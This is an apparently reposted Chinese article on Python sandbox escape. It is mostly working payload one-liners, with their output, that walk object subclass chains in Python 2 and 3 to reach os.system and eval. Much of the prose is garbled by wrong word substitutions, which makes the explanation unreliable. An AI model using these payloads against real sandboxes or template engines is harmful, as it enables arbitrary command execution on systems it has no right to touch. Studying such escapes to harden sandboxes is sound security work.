可以看到,site 就在内里,以 2.x 的site._Printer为例:
- >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
- <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
os 又返来了。而且 site 中尚有 __builtins__。
这个要领不只限于 A->os,还阔所以 A->B->os,好比 2.x 中的 warnings:
- >>> import warnings
- >>>
- >>> warnings.os
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- AttributeError: 'module' object has no attribute 'os'
- >>>
- >>> warnings.linecache
- <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'>
- >>>
- >>> warnings.linecache.os
- <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
在担任链中就可以这样:
- >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
- macr0phag3
- 0
趁便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:
- def __init__(self, record=False, module=None):
-
- self._module = sys.modules['warnings'] if module is None else module
以是通过_module也可以结构 payload:
- >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
- macr0phag3
- 0
3.x 中的warnings固然没有 linecache,也有__builtins__。
同样,py3.x 中有,操作方法可觉得:
- >>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
- macr0phag3
- 0
趁便提一下,object 原来就是可以行使的,假如没过滤这个变量的话,payload 可以简化为:
- object.__subclasses__()[117].__init__.__globals__['system']('whoami')
尚有一种是操作builtin_function_or_method 的 __call__:
- "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
可能简朴一点:
- [].__getattribute__('append').__class__.__call__(eval, '1+1')
(编辑:湖南网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|